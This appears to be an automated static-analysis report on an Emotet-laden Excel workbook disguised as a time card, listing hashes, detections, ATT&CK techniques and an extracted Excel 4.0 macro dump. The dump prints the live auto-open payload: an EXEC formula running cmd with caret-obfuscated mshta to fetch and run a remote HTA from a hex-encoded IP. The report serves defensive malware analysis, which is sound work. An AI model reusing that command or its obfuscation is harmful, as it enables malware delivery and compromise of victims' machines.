Emotet — Office (OLE) / .XLS malware analysis

Static analysis result for SHA-256 faa1827b7a262648…

MALICIOUS

Office (OLE) / .XLS

113.8 KB Created: 2022-01-24 01:40:11 Authoring application: Microsoft Excel
MD5: 1852c22b0aaa705e1818bab020cfad82 SHA-1: e93780d57d7675a28ba187bf6965b5c76b957491 SHA-256: faa1827b7a26264861f476f621a08ce80c72aae2f12adc07479141564571f6a9
200 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1059.001 PowerShell T1204.002 Malicious File

The file is identified as malicious by ClamAV with the signature Xls.Downloader.Emotet-bd646319c2d29cd6-9951195-0. Static analysis revealed the presence of Excel 4.0 macros, specifically an Auto_Open defined name, which is a known technique for executing malicious code upon opening the document. The heuristics indicate the use of dangerous formula APIs, including the RUN function, suggesting the macro is designed to download and execute a secondary payload. The document body content appears to be a generic time card, likely a lure.

Heuristics 4

  • ClamAV: Xls.Downloader.Emotet-bd646319c2d29cd6-9951195-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Downloader.Emotet-bd646319c2d29cd6-9951195-0
  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt
86637063ac2c97bbefdbc9033f21cd30e9484ed274aba63ad50d62dfa1de93cd
xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 4341 bytes
Preview script
First 1,000 lines of the extracted script
' 0085     10 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, hidden -  F
' 0085     17 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, hidden -  Time Car
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  F!B1 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' Sheet,Reference,Formula,Value
'  F,B19,EXEC("cmd /c ping google.com && timeout 4 && start ms^h^ta ht^tp:/^/0x^b^907d60^7/fe^r/f^e5.h^tm^l"),""
'  F,B23,HALT(),""
'  Time Car,C16,"",39082.00000000000000000000
'  Time Car,C21,"IF(C16=0,"",C16-6)",""
'  Time Car,H21,"IF(R~20C~3>24,"Total > 24 hours.",R~20C~3)",""
'  Time Car,C22,"IF(C16=0,"",C16-5)",""
'  Time Car,H22,"IF(R~21C~3>24,"Total > 24 hours.",R~21C~3)",""
'  Time Car,C23,"IF(C16=0,"",C16-4)",""
'  Time Car,H23,"IF(R~22C~3>24,"Total > 24 hours.",R~22C~3)",""
'  Time Car,C24,"IF(C16=0,"",C16-3)",""
'  Time Car,H24,"IF(R~23C~3>24,"Total > 24 hours.",R~23C~3)",""
'  Time Car,C25,"IF(C16=0,"",C16-2)",""
'  Time Car,H25,"IF(R~24C~3>24,"Total > 24 hours.",R~24C~3)",""
'  Time Car,C26,"IF(C16=0,"",C16-1)",""
'  Time Car,H26,"IF(R~25C~3>24,"Total > 24 hours.",R~25C~3)",""
'  Time Car,C27,"IF(C16=0,"",C16)",""
'  Time Car,H27,"IF(R~26C~3>24,"Total > 24 hours.",R~26C~3)",""
'  Time Car,D28,R~20C~3,"
... (truncated)